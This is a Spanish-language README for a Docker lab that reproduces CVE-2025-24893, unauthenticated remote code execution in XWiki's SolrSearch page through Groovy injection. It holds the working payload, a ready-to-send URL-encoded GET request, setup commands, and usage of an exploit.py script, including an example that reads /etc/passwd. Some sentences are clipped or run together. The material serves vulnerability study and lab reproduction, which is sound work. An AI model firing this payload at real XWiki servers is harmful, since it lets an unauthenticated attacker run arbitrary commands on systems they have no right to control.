
Exploit de ejecución remota de código no autenticado para XWiki SolrSearch (CVE-2025-24893) mediante inyección Groovy en el parámetro text, con entorno de laboratorio basado en Docker y script PoC.
Main.SolrSearch está abierta a los invitados y, aun así, evalúa el parámetro text (entrada del usuario) como sintaxis XWiki sin una validación suficiente.{{groovy}} en text para ejecutar código Groovy arbitrario en el servidor e incluso invocar comandos del sistema operativo mediante "command".execute(). Esta vulnerabilidad se puede explotar con una única petición GET, sin necesidad de iniciar sesión ni de tokens adicionales.Este directorio configura el entorno vulnerable utilizando la distribución standalone oficial de XWiki 15.10.1 y el runtime de Java 17.
| Ítem | Descripción |
|---|---|
| CVE | CVE-2025-24893 |
| Producto | XWiki Platform |
| Versión vulnerable | >= 5.3-milestone-2, < 15.10.11 / >= 16.0.0-rc-1, < 16.4.1 |
| Versión parcheada | 15.10.11, 16.4.1 |
| Tipo de vulnerabilidad | Eval Injection -> Unauthenticated RCE |
| ¿Requiere autenticación? | No |
| Impacto | Ejecución de comandos en el servidor |
Main.SolrSearch debe ser accesible para invitados.text como sintaxis XWiki.groovy debe estar habilitada para su ejecución.Este entorno utiliza XWiki 15.10.1, por lo que cumple las condiciones anteriores.
docker compose up -d --build
En la primera ejecución se realiza una instalación automática, por lo que puede tardar unos minutos (aproximadamente 6-7 minutos).
docker compose ps
docker inspect -f '{{json .State.Health}}' xwiki-web
Cuando en el resultado de los comandos anteriores aparezca el estado "Status":"healthy", la configuración del entorno habrá finalizado y el entorno estará listo para ser explotado.
pip install requests
Instala las dependencias antes de ejecutar exploit.py.
El payload principal es el siguiente:
}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
El payload anterior se inserta en el parámetro text y se evalúa en la página Main.SolrSearch. Como resultado, println("id".execute().text) se ejecuta en el servidor y el resultado de la ejecución del comando se refleja en el cuerpo de la respuesta RSS.
Para ver el script de ejecución completo, consulta exploit.py.
python3 exploit.py
Al ejecutar el script de Python anterior se puede reproducir el PoC. El comando por defecto es id.
python3 exploit.py -c "cat /etc/passwd"
Para ejecutar un comando distinto, pásalo como argumento como se indica arriba.
O bien, envía la petición mediante la URL (payload que ejecuta id):
http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
Respuesta con la salida de id
Listado de archivos del directorio actual
15.10.11 o superior, o a 16.4.1 o superior.SolrSearch.